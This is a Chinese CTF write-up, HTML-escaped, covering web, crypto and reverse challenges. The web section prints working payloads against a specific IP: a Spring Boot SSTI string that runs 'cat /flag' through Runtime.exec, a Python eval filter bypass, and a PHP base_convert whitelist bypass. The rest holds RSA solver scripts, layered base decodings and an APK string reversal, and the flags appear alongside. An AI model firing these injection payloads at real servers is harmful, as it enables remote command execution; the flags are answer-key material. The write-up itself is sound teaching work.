&lt;p&gt;&lt;img src=&quot;/images/20241021_1729501684-image.png&quot; alt=&quot;&quot; /&gt; &lt;img src=&quot;/images/20241021_1729501704-image.png&quot; alt=&quot;&quot; /&gt; &lt;img src=&quot;/images/20241021_1729501737-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Web admin&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729501752-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;用dirsearch扫到了/;/login 和/;/admin&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729501764-image.png&quot; alt=&quot;&quot; /&gt; &lt;img src=&quot;/images/20241021_1729501774-image.png&quot; alt=&quot;&quot; /&gt; &lt;img src=&quot;/images/20241021_1729501781-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;随便输点东西触发报错页面发现使用的是java的web框架，使用漏扫工具扫描发现存在spring boot的ssti漏洞&lt;/p&gt;
&lt;p&gt;构造传参得到flag&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http://101.200.58.4:3333/;/admin/?path=__%24%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat%20/flag%22).getInputStream()).next()%7D__%3A%3A.114514&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729501809-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{d2716715-7b0b-4a9e-afc5-e54962a4d4c4}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Web flask&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;附件是flask框架的源码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729501816-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;代码审计后发现ewalme可以直接执行文件读取命令，但是过滤了很多的字符和符号，只保留了小写的abc。&lt;/p&gt;
&lt;p&gt;使用python的格式化字符串，利用%c占位符将ascii码转为字符拼接成/flag.php 读取flag&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://101.200.58.4:1111/?evalme=%27%25c%25c%25c%25c%25c%27%25(47,102,108,97,103)&quot;&gt;&lt;code&gt;http://101.200.58.4:1111/?evalme=%27%c%c%c%c%c%27%(47,102,108,97,103)&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729501832-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Web 如此多的FLAG&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729501862-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击登录进入登录页面 在title标签里发现了提示/F1aaj.php&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729501869-image.png&quot; alt=&quot;&quot; /&gt; &lt;img src=&quot;/images/20241021_1729501877-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到了flag{Where_is_ur_flag} 看着不像flag，提交之后发现确实不是flag，继续寻找线索&lt;/p&gt;
&lt;p&gt;在cookie里发现了提示flag=%2FFLLL4g.php %2F是/&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729501883-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入FLLL4g.php得到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729501893-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;需要传递X Y Z 三个参数 前两个参数简单，X&amp;gt;9999即可，Y=一个解码前后都是0e开头的MD5值即可，Z有点意思，长度不大于60，过滤了$blacklist = [&apos; &apos;, &apos;&apos;&apos;, &apos;&quot;&apos;, &apos;`&apos;, &apos;\[&apos;, &apos;\]&apos;, &apos;\{&apos;, &apos;}&apos;, &apos;\t&apos;, &apos;\r&apos;, &apos;\n&apos;];&lt;/p&gt;
&lt;p&gt;函数只能使用$security = [&apos;abs&apos;, &apos;base_convert&apos;, &apos;cos&apos;, &apos;dechex&apos;, &apos;exp&apos;, &apos;f1ag&apos;, &apos;getrandmax&apos;, &apos;hexdec&apos;, &apos;is_nan&apos;, &apos;log&apos;, &apos;max&apos;, &apos;octdec&apos;, &apos;pi&apos;, &apos;sin&apos;, &apos;tan&apos;];中的&lt;/p&gt;
&lt;p&gt;让我想到了攻防世界上的一道差不多的题&lt;a href=&quot;https://www.cnblogs.com/zhengna/p/13964630.html&quot;&gt;攻防世界-web-love_math（base_convert进制转换绕过白名单和长度限制） - zhengna - 博客园 (cnblogs.com)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;直接构造url &lt;code&gt;[http://101.200.58.4:20005/FLLL4g,php?X=99999a&amp;amp;Y=0e12848383088Z=base_convert(1751504350,10,36)(base_convert(784,10,36](&amp;lt;http://101.200.58.4:20005/FLLL4g,php?X=99999a&amp;amp;Y=0e12848383088Z=base_convert\(1751504350,10,36\)\(base_convert\(784,10,36&amp;gt;))&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729501913-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;访问 /FFLLLLLLLLLLLaGGGGG.php 得到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729501936-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Crypto 不小心&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729501965-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这道题是DASCTF的原题&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/weixin_52640415/article/details/126627810&quot;&gt;https://blog.csdn.net/weixin_52640415/article/details/126627810&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;flag{78ada113e709fdf12a5aa4aa5dd62e33}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Crypto justmatch&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;先使用sagematch 解出前半部分的flag，再用RSA解出后半部分的flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from sage.symbolic.relation import solve
from Crypto.Util.number import bytes_to_long, long_to_bytes
from sage.all import var, PolynomialRing, Zmod

# 定义变量 x
x = var(&apos;x&apos;)

# 方程的 y 值列表
y_value = [3149069, 2271689, 2337632, 3068562, 67697, 2337632, 3068562, 67697,
           2143547, 2543093, 1844472, 2206998, 67697, 1844472, 2686547, 2020317,
           67697, 3149069, 2271689, 2081324, 67697, 2143547, 2543093, 1844472,
           2206998, 67697, 2337632, 3068562, 67697, 2143547, 2543093, 1844472,
           2206998, 3752378]

# 初始化空字符串用于保存解出的 flag
flag = &quot;&quot;

# 遍历 y_value，求解每个 y 对应的方程 2*x^3 + 2*x^2 + 3*x + 17 = y
for i in y_value:
    equation = 2 * x^3 + 2 * x^2 + 3 * x + 17 == i
    solutions = solve(equation, x)  # 求解方程
    
    # 取第3个解并转换为字符追加到 flag 中
    flag += chr(solutions[2].rhs())

print(f&quot;解码出的 flag: {flag}&quot;)

# RSA 参数用于解密
n = 2260375559104345425590426977960386256287009777233277062625487017885931446911942921201492850167115455071935831283269948569220356763988762825230315520633702443866690239945242948370781975714325308306543337600783340792458991506685843729962897796956171467876531084194426101796617903015810156717396227079274786269217370618477266867389155551378798713259843750289765858717627925689021561352438080039804957145513478767641674644346609224034274906228784593435462413278410143
e = 3  # 公钥指数
c = 1683427726786225271109289808778075351906457081282891335272956455076290407290946927840180672315908981114229434899424882579823897506730018911375238394076293908946844135295984336122170362703361647325169444373502665686779049846717305377396296752361918921007897449738856962248716579014267597667341690453460130215215256776249910808564677407383996700090361822122676428069577517468851642648993930679875398568383201032360229083338487146673018350740571719960730053254352184  # 密文

# 初始化 PolynomialRing 环境，模数为 n
R.&amp;lt;x&amp;gt; = PolynomialRing(Zmod(n))

# 遍历可能的 40 种情况，尝试找到合适的根
for i in range(40):
    # 计算高位的消息部分，将 flag 转换为字节串
    mhigh = bytes_to_long(flag.encode() + b&quot;\x00&quot; * 32 + b&quot;}&quot;)
    
    # 构造多项式 f(mhigh + x)^e - c
    f = (mhigh + x)^e - c
    
    # 使用 small_roots 方法找到可能的解
    res = f.small_roots(X=256^i, beta=0.4, epsilon=0.05)
    
    # 如果找到了解
    if res != []:
        print(f&quot;找到解: {res}&quot;)
        # 计算最终的消息
        m = mhigh + int(res[0])
        # 将消息转换回字节并输出
        print(f&quot;解密后的消息: {long_to_bytes(m)}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{0f5a1806d07f030767e113352727ea2d}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Crypto Base&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;👄👋🐹🐸👂👱🐯🐢👚👊🐬👨👌👢👅🐿👊🐩👅👆👈👤🐧🐢👁👡🐯👰👂🐩👛👂👂👋👯🐺👋🐩👄👤👉🐾👄👭👃👋👀🐢👁👠👯🐻👀👌🐽👩👐👍👫🐾👇👥🐼👭👌👌👣🐺👊🐾🐬👘👌👢👁👄👌👍👉👅👄👠👫👦👊👌👅🐺👅👍🐬👙👘🐧👍👞👂🐪👍🐼👉👰👐🐭👏👊👚🐧👏🐨👦🐯👆👋🐰👬👂🐪👍👈👈👢👟👭👃🐩👍👀👁🐼👑👙👋👋👉🐺👅👋🐯🐨👇🐼👁👈👁👠🐬🐼👐👱🐽👁👃👱🐫👤👃👎👅👂👆🐿🐸👧👋🐨👀🐦👅🐧👪👤👍👡👄👢👉🐺🐬🐾👈👢👯👉👍🐼🐧🐪👙👣🐸👟👑🐧👞👡👃👌👀👣👉👎🐸👪👃🐼👟🐿👁👡👦👧👍👡🐼👮👈🐺👪🐦👇👱👛👃👁👣👑🐺👊🐾🐯👭👑👌👁👫👇👠👄🐢👄👠👫👦👎🐼👢🐯👈👢🐯👮👁👢👍👞👃👎👈👰👈👎🐯👭👑👠🐯🐯👁👤👄👮👚👋🐰👊👑👣👣👣👄👰👉🐽👃🐨🐰🐺👋🐽👀🐮👏👱👅🐼👂🐼🐨👑👇🐼👁👅👉👠🐨🐾👀👋👍👢👌👌👚👤👆👣🐧👥👈👎👫👡👇👱🐧👭👄👌🐬👘👀👋👛👨👊🐩🐹🐽👄🐺🐰🐨👅🐻👀🐧👈👡👌🐦👅👌👅👠👊🐿👀🐪👉👠👑🐾👌👋👐🐢👁👠🐨👡👊👡🐼👮👇👥🐽👰👇🐨👁👣👍🐼👛🐺👊🐿🐽🐻👇🐼👁👄👌👍👉👅👉🐨👢👮👄👢👄🐩👚🐼👉👦👛🐼👍👞👂🐪👍🐼👈👎🐯👯👄👍👟🐹👘🐩👄🐦👇👊🐯👯👋👣👦👟👈👢👟👯👈👱👯🐺👙👋🐨🐨👇👋👉🐺👅👋🐯🐨👈🐩👁👀👚👡👛🐾👁👢👚👧👉👊👯🐹👑👍🐨🐹👈👠🐰👅👂👊🐯🐦👌👤👐👭👍🐧👁👀👚🐺👍👱👈👤🐧🐢👀👱🐫👰👂🐩👐👧👍👋🐽🐾👘👣👮👠👉👎🐸👩👎👡👫🐺👄🐩🐯👣👏👡🐼👮👇👥🐽👰👇🐩🐫👩👄🐽👌👱👁🐼👌👭👏🐧👁👫👇👠👄🐢👉🐨👢👱👆👋👛🐻👐👢👢🐰👘🐼👍👞👂🐨🐼🐫👆👤👢👭👘👢👀🐯👁👤👄👮👚👊🐧🐫👁👢👈👠👈👢👟👮👃👱👅🐺👌👠👁👭👇👊👯🐧👏👌👅🐽👅🐽🐫👮👃👍👯🐽👐🐺👮👪👊🐼👚👤👆🐼👮🐦👄👋🐹🐸👂👱🐯🐢👚👊🐬👨👌👡👛👨👊🐩🐹🐽👃🐩👮🐨👐👤👈👰👂🐩👟👐👊👋🐼👩👌👋👛🐿👉👎🐸👩👌👋👞👪👈👎👚👦👘👡👉👝👎👡👮🐬👇🐨👁👤👎👎👌👱👁🐼👁👋👅👌👀👯👅👢👫👄👅🐩🐬👈👀👎👚👱👂👰👅👊👃🐼👍👞👂🐪👍🐼👆👰🐨👩👋👎🐹🐹👘🐩👁👧👘🐻🐯🐪👊👍👫👃👈👢👟👮👈👠👅🐿👎🐽👪👟👙👰🐰👪👐👊👯👑👄👊👫👉👋🐧🐯🐪👑👞🐴🐴&lt;/p&gt;
&lt;p&gt;先解base100&lt;/p&gt;
&lt;p&gt;MTBAKz8+cS5qUkNHS2NOQm0+Jj8yK2dKKTxCT2MmRGMvLTI+JixDIUFrYVtGPnEvUUlCSG5aUkJMUVRNMitoSUNCNV5ba0VgK3VERyY6XSc0X1o8OT9uK3VQQkhvL2VIJEZbTTRCNT81PEJQJi5EYzFJLz4mLWNKOHApT1I/N0smVjMkRC5GQkxRVE03blAhZ0gjLUIlRWAsLEhHJjopVjEwQCs/PzdLJlZCSG8vZUJtPiM+MitoWEk8Qk8wJkVgLWQyQW8vZi88JmMwcT9SZlllMyRFL19CTFI7XzNEKE1ZPEJNRi1GITVkUUcmOl0nQWtjPz0vMU5aITdqS2BFMC91NDI0QjU/NUNiSHI3RiZGUTY+Ji1jSjEwPnFyP1JlVEdCSHFDPEJMUVRNR1kwMkM2cERodEVgK3VEQW8xMVhBa2M/PS8xTlohQkhxQzxCbT11PTRCNT81Q2JIcjdGJkcpRSxBZV1BQi9NKS8/UmYvV0JIcCVzQm0+Iz4yK2YpVTFGalwiRWArWjtCM28lXjEwPnFyP24rMFUzJEUvX0JtPiM+R1kzOTdDYkk9aEVgK1E4OmkvakI8JmMwcS04JkQiQkhwLzNCUiJvPSx0XUNFNF4wLVxFYCwsSEcmOEw/MTBAKz8+cS5qUjdqS2BFL2w1YmQyK2hYSTErUTdHRWArUTgsQWcoajRfWjw5P1JmWWUzJEJTNUIxNktMN25QIWczKyNSLEVgK3VEOy1rTWBBa2JpaD83SVtLQkhwQiNHWFshby9sYSxZMStRT083Zg==&lt;/p&gt;
&lt;p&gt;再解base64&lt;/p&gt;
&lt;p&gt;[10@+?&amp;gt;q.jRCGKcNBm&amp;gt;&amp;amp;?2+gJ)&amp;lt;BOc&amp;amp;Dc/-2&amp;gt;&amp;amp;,C!Aka[F&amp;gt;q/QIBHnZRBLQTM2+hICB5^[kE&lt;code&gt;+uDG&amp;amp;:]&apos;4_Z&amp;lt;9?n+uPBHo/eH$F[M4B5?5&amp;lt;BP&amp;amp;.Dc1I/&amp;gt;&amp;amp;-cJ8p)OR?7K&amp;amp;V3$D.FBLQTM7nP!gH#-B%E&lt;/code&gt;,,HG&amp;amp;:)V10@+??7K&amp;amp;VBHo/eBm&amp;gt;#&amp;gt;2+hXI&amp;lt;BO0&amp;amp;E&lt;code&gt;-d2Ao/f/&amp;lt;&amp;amp;c0q?RfYe3$E/_BLR;_3D(MY&amp;lt;BMF-F!5dQG&amp;amp;:]&apos;Akc?=/1NZ!7jK&lt;/code&gt;E0/u424B5?5CbHr7F&amp;amp;FQ6&amp;gt;&amp;amp;-cJ10&amp;gt;qr?ReTGBHqC&amp;lt;BLQTMGY02C6pDhtE&lt;code&gt;+uDAo11XAkc?=/1NZ!BHqC&amp;lt;Bm=u=4B5?5CbHr7F&amp;amp;G)E,Ae]AB/M)/?Rf/WBHp%sBm&amp;gt;#&amp;gt;2+f)U1Fj\&quot;E&lt;/code&gt;+Z;B3o%^10&amp;gt;qr?n+0U3$E/_Bm&amp;gt;#&amp;gt;GY397CbI=hE&lt;code&gt;+Q8:i/jB&amp;lt;&amp;amp;c0q-8&amp;amp;D&quot;BHp/3BR&quot;o=,t]CE4^0-\E&lt;/code&gt;,,HG&amp;amp;8L?10@+?&amp;gt;q.jR7jK&lt;code&gt;E/l5bd2+hXI1+Q7GE&lt;/code&gt;+Q8,Ag(j4_Z&amp;lt;9?RfYe3$BS5B16KL7nP!g3+#R,E&lt;code&gt;+uD;-kM&lt;/code&gt;Akbih?7I[KBHpB#GX[!o/la,Y1+QOO7f](&lt;a href=&quot;mailto:10@+?%3eq.jRCGKcNBm%3e&amp;amp;?2+gJ%5C)%3cBOc&amp;amp;Dc/-2%3e&amp;amp;,C!Aka%5bF%3eq/QIBHnZRBLQTM2+hICB5%5e%5bkE%60+uDG&amp;amp;:%5d&apos;4_Z%3c9?n+uPBHo/eH$F%5bM4B5?5%3cBP&amp;amp;.Dc1I/%3e&amp;amp;-cJ8p%5C)OR?7K&amp;amp;V3$D.FBLQTM7nP!gH#-B%25E%60,,HG&amp;amp;:%5C)V10@+??7K&amp;amp;VBHo/eBm&quot;&gt;mailto:10@+?&amp;gt;q.jRCGKcNBm&amp;gt;&amp;amp;?2+gJ\)&amp;lt;BOc&amp;amp;Dc/-2&amp;gt;&amp;amp;,C!Aka[F&amp;gt;q/QIBHnZRBLQTM2+hICB5^[kE`+uDG&amp;amp;:]&apos;4_Z&amp;lt;9?n+uPBHo/eH$F[M4B5?5&amp;lt;BP&amp;amp;.Dc1I/&amp;gt;&amp;amp;-cJ8p\)OR?7K&amp;amp;V3$D.FBLQTM7nP!gH#-B%E`,,HG&amp;amp;:\)V10@+??7K&amp;amp;VBHo/eBm&lt;/a&gt;&amp;gt;)&lt;/p&gt;
&lt;p&gt;再解base85&lt;/p&gt;
&lt;p&gt;2XIJ]*9pk2n!ix}i5JJ&amp;gt;U&amp;lt;ceoR,xZk$kfM(I]*MSh#!/hEhk5Jf&amp;lt;goRvrR;xvmbj=i(I&lt;code&gt;*PTh#/4yx{i&amp;lt;UT.U&amp;lt;keoRn3ZkKmJu(I^*XT8!QzhEhkGJ#&amp;lt;ylRvrR?xvmQU2XIJ^*XTh#/4ix|i5Jk=U&amp;lt;RvrRn3fm$kT8%I_*fT8!n!hE|i9J#&amp;lt;U&amp;lt;!Ys!xxvmbjfMWf,*9pG$/4/8@i&amp;lt;UT.l/!YsR,xZkKm2X(I_*HTh#n!hEhkxJ#&amp;lt;D?!YrR;xfmKmfMWf,*9ph#n!ix{i&amp;lt;UT.l/!YsR;x#m$kg5(I_*XTh#H)ix|i5J#&amp;lt;3+#*rR2xg^bj2X(I&lt;/code&gt;*9p8!n!ix|ixJz.l/,*rR/xPmKmT8%I&amp;amp;.XTh#K;hx|i%J#&amp;lt;=[#*rR?xvm$k2XIJ]*9pG$/4.P[i5Jk=2+RvrR/x#mKm=i([I_*fT8!%@gEhkGJ#&amp;lt;8_RvrR;xQ^$kfMIJ^*1ph#QzxE|i.U#&amp;lt;2+ZvG](&amp;lt;mailto:I_*fT8!%25@gEhkGJ#&amp;lt;8_RvrR;xQ^$kfMIJ^*1ph&amp;gt;)&lt;/p&gt;
&lt;p&gt;再解base91&lt;/p&gt;
&lt;p&gt;chgdchg5clctclcxclc5cdc9chcdcdc9chctchglcdc9chclclcdclcpchchchgdchg5clg5chg9clcpchclcdcdchg9chg5chctclc9chghclchchclclcpclchchghchg5clcpcdclchcpchclcdc9clcdcdc9chglchg5chg5chctcdc9clchclcdchclchgdchcpcdclchclcdc9chghclcdchg5chctclcpchctclclchgpclclchgdclcBchgdchcpchgdclclcdc9chglchcdclg5chglchg5clctchctclctclchchgdchglchg9clcpcdchchcpclclclcpcdc9chg9chcxchclcdghcdghcdghcdghcdghcdgh&lt;/p&gt;
&lt;p&gt;再解base62&lt;/p&gt;
&lt;p&gt;4C4A575851324332474E32455356444C4A5A4B5645334B4A47524D544556544D4A563546453253324E4A4A47325453454C463545324D534A475647554F554C594C464C55324E435A4E4A574757544C4E4B5634465556324B48453D3D3D3D3D3D&lt;/p&gt;
&lt;p&gt;再解16进制，解base32，解base64得到flag&lt;/p&gt;
&lt;p&gt;flag{HNCTFb8cee34cf4f4633b90d1ac8b9d2e1eb}&lt;/p&gt;
&lt;p&gt;Crypto easy_crypto1&lt;/p&gt;
&lt;p&gt;p：因为q是getPrime(16) * p + 38219 的下一个质数，可以利用模数n和这个关系，通过一些因数分解解出符合要求的q&lt;/p&gt;
&lt;p&gt;求出p和q，那么n也就可以分解出来，进而求解出 E1的私钥d。用 d 对密文c进行解密，可能得到E1。通过 n1和 n2分解 P，利用P和Q1，Q2的乘积，求解flag&lt;/p&gt;
&lt;p&gt;三个模数 ns 是独立的，但指数 E2 较小，有可能存在“低加密指数攻击”的情况，通过用中国剩余定理解出 E2 的解密密钥&lt;/p&gt;
&lt;p&gt;qqq 是通过 qq 位移得到的，这个操作可能暗示 qq 的低位信息已经丢失，但高位信息还存在，尝试从高位还原 qq，并分解 nn。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import long_to_bytes
import gmpy2

# 自定义中国剩余定理求解函数
def solve_crt(remainders, moduli):
    # 初始化 x = 0 和 模数乘积 N = 1
    x = 0
    N = 1
    for mod in moduli:
        N *= mod

    # 逐个求解
    for remainder, mod in zip(remainders, moduli):
        # 计算当前模数对 N 的余数部分的乘积 Ni
        Ni = N // mod
        # 计算 Ni 的逆元 (mod mod)
        inverse = gmpy2.invert(Ni, mod)
        # 累加求和
        x += remainder * Ni * inverse

    # 返回最终结果对 N 取模
    return x % N

# 给定的参数
n1 = 21655617838358037895534605162358784326495251462447218485102155997156394132443891540203860915433559917314267455046844360743623050975083617915806922096697304603878134295964650430393375225792781804726292460923708890722827436552209016368047420993613497196059326374616217655625810171080545267058266278112647715784756433895809757917070401895613168910166812566545593405362953487807840539425383123369842741821260523005208479361484891762714749721683834754601596796707669718084343845276793153649005628590896279281956588607062999398889314240295073524688108299345609307659091936270255367762936542565961639163236594456862919813549
n2 = 24623016338698579967431781680200075706241014384066250660360949684385831604822817314457973559632215801205780786144608311361063622813017396858888436529116737754653067203843306015767091585697803364656624926853551997229897087731298797904208292585562517602132663331748784390752958757661484560335406769204491939879324079089140420467301773366050084810282369044622442784113688062220370531522036512803461607049619641336524486507388232280683726065679295742456158606213294533956580462863488082028563360006966912264908424680686577344549034033470952036766850596897062924137344079889301948258438680545785139118107899367307031396309
c1 = 2615722342860373905833491925692465899705229373785773622118746270300793647098821993550686581418882518204094299812033719020077509270290007615866572202192731169538843513634106977827187688709725198643481375562114294032637211892276591506759075653224150064709644522873824736707734614347484224826380423111005274801291329132431269949575630918992520949095837680436317128676927389692790957195674310219740918585437793016218702207192925330821165126647260859644876583452851011163136097317885847756944279214149072452930036614703451352331567857453770020626414948005358547089607480508274005888648569717750523094342973767148059329557
c2 = 6769301750070285366235237940904276375318319174100507184855293529277737253672792851212185236735819718282816927603167670154115730023644681563602020732801002035524276894497009910595468459369997765552682404281557968383413458466181053253824257764740656801662020120125474240770889092605770532420770257017137747744565202144183642972714927894809373657977142884508230107940618969817885214454558667008383628769508472963039551067432579488899853537410634175220583489733111861415444811663313479382343954977022383996370428051605169520337142916079300674356082855978456798812661535740008277913769809112114364617214398154457094899399
E1 = 377312346502536339265
E2 = 561236991551738188085

# 计算公因数 P
P = gmpy2.gcd(n1, n2)

# 计算各自的 Q
Q1 = n1 // P
Q2 = n2 // P

# 解密过程
# 对每个密文计算部分解密结果
c_decrypted = [
    pow(c1, gmpy2.invert(E1 // 35, (P - 1) * (Q1 - 1)), n1),
    pow(c2, gmpy2.invert(E2 // 35, (P - 1) * (Q2 - 1)), n2)
]

# 合并解密后的结果
c_combined = c_decrypted[0] * c_decrypted[1] % P
c_mod_Q2 = c_decrypted[1] % Q2
c_mod_Q1 = c_decrypted[0] % Q1

# 使用自定义的 solve_crt 函数求解中国剩余定理
final_result = solve_crt([c_mod_Q1, c_mod_Q2, c_combined], [Q1, Q2, P])

# 计算模数 n 和 欧拉函数 phi
phi = (Q1 - 1) * (Q2 - 1)
n = Q1 * Q2

# 取最终解密后的密文
cipher_m = final_result % n

# 指数 e
e = 35

# 计算密钥 d (e 与 phi 的 gcd 为 5，所以需要取 7)
d = gmpy2.invert(7, phi)

# 使用 d 解密最终密文
m = pow(cipher_m, d, n)

# 取 5 次方根并将其转换为字符串
decoded_message = long_to_bytes(gmpy2.iroot(m, 5)[0])
print(decoded_message)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{27dab675-9e9b-4c1f-99ab-dd9fe49c190a}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reverse ez_apk&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用jadx打开，不知道为什么我的jeb打开会报错&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729502282-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这块是加密的主要代码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729502287-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在资源文件下的rsa -&amp;gt; value -&amp;gt;strings.xml里找到加密后的flag 还有加密过程中使用的Key&lt;/p&gt;
&lt;p&gt;f`vgvkXknxfznQv|gz|}c|G~bh{{x|VVFGX&lt;/p&gt;
&lt;p&gt;aptxcony&lt;/p&gt;
&lt;p&gt;逆向算法解密字符串即可得到flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;str = &apos;f`vg\u007fvkXknxfznQv|gz|\u007f}c|G~bh{{x|\u007fVVFGX&apos;
cipher = &apos;&apos;
for i in range(0,len(str)):
    cipher += chr(ord(str[i:i+1]) ^ i)
key = [&apos;a&apos;, &apos;p&apos;, &apos;t&apos;, &apos;x&apos;, &apos;c&apos;, &apos;o&apos;, &apos;n&apos;, &apos;y&apos;]
flag = &apos;&apos;
for i in range(0,len(cipher)):
    if ((cipher[i] != &apos;_&apos;) and (cipher[i] != &apos;{&apos;) and (cipher[i] != &apos;}&apos;)):
        if (cipher[i] &amp;lt; key[i % len(key)]):
            flag += chr((ord(cipher[i]) - ord(key[i % len(key)]) + 26) % 26 + 97)
        else:
            flag += chr((ord(cipher[i]) - ord(key[i % len(key)]))  % 26 + 97)
    else:
        flag += cipher[i]
print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{ez_crypto_algorithm_reverse_haha}&lt;/p&gt;
&lt;p&gt;Reverse 机器猫&lt;/p&gt;
&lt;p&gt;使用pyinstxtractor解包反编译2.pyc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import turtle

def flyTo(x, y):
    turtle.penup()
    turtle.goto(x, y)
    turtle.pendown()
def drawEye():
    turtle.tracer(False)
    a = 2.5
    for i in range(120):
        if not 0 &amp;lt;= i &amp;lt; 30:
            if 60 &amp;lt;= i &amp;lt; 90:
                a -= 0.05
        else:
            a += 0.05
        turtle.left(3)
        turtle.fd(a)
    else:
        turtle.tracer(True)
def beard():
    flyTo(-37, 135)
    turtle.seth(165)
    turtle.fd(60)
    flyTo(-37, 125)
    turtle.seth(180)
    turtle.fd(60)
    flyTo(-37, 115)
    turtle.seth(193)
    turtle.fd(60)
    flyTo(37, 135)
    turtle.seth(15)
    turtle.fd(60)
    flyTo(37, 125)
    turtle.seth(0)
    turtle.fd(60)
    flyTo(37, 115)
    turtle.seth(-13)
    turtle.fd(60)
def drawRedScarf():
    turtle.fillcolor(&quot;red&quot;)
    turtle.begin_fill()
    turtle.seth(0)
    turtle.fd(200)
    turtle.circle(-5, 90)
    turtle.fd(10)
    turtle.circle(-5, 90)
    turtle.fd(207)
    turtle.circle(-5, 90)
    turtle.fd(10)
    turtle.circle(-5, 90)
    turtle.end_fill()
def drawMouse():
    flyTo(5, 148)
    turtle.seth(270)
    turtle.fd(100)
    turtle.seth(0)
    turtle.circle(120, 50)
    turtle.seth(230)
    turtle.circle(-120, 100)
def drawRedNose():
    flyTo(-10, 158)
    turtle.fillcolor(&quot;red&quot;)
    turtle.begin_fill()
    turtle.circle(20)
    turtle.end_fill()
def drawBlackdrawEye():
    turtle.seth(0)
    flyTo(-20, 195)
    turtle.fillcolor(&quot;#000000&quot;)
    turtle.begin_fill()
    turtle.circle(13)
    turtle.end_fill()
    turtle.pensize(6)
    flyTo(20, 205)
    turtle.seth(75)
    turtle.circle(-10, 150)
    turtle.pensize(3)
    flyTo(-17, 200)
    turtle.seth(0)
    turtle.fillcolor(&quot;#ffffff&quot;)
    turtle.begin_fill()
    turtle.circle(5)
    turtle.end_fill()
    flyTo(0, 0)
def drawFace():
    turtle.forward(183)
    turtle.fillcolor(&quot;white&quot;)
    turtle.begin_fill()
    turtle.left(45)
    turtle.circle(120, 100)
    turtle.seth(90)
    drawEye()
    turtle.seth(180)
    turtle.penup()
    turtle.fd(60)
    turtle.pendown()
    turtle.seth(90)
    drawEye()
    turtle.penup()
    turtle.seth(180)
    turtle.fd(64)
    turtle.pendown()
    turtle.seth(215)
    turtle.circle(120, 100)
    turtle.end_fill()
def drawHead():
    turtle.penup()
    turtle.circle(150, 40)
    turtle.pendown()
    turtle.fillcolor(&quot;#00a0de&quot;)
    turtle.begin_fill()
    turtle.circle(150, 280)
    turtle.end_fill()
def drawAll():
    drawHead()
    drawRedScarf()
    drawFace()
    drawRedNose()
    drawMouse()
    beard()
    flyTo(0, 0)
    turtle.seth(0)
    turtle.penup()
    turtle.circle(150, 50)
    turtle.pendown()
    turtle.seth(30)
    turtle.fd(40)
    turtle.seth(70)
    turtle.circle(-30, 270)
    turtle.fillcolor(&quot;#00a0de&quot;)
    turtle.begin_fill()
    turtle.seth(230)
    turtle.fd(80)
    turtle.seth(90)
    turtle.circle(1000, 1)
    turtle.seth(-89)
    turtle.circle(-1000, 10)
    turtle.seth(180)
    turtle.fd(70)
    turtle.seth(90)
    turtle.circle(30, 180)
    turtle.seth(180)
    turtle.fd(70)
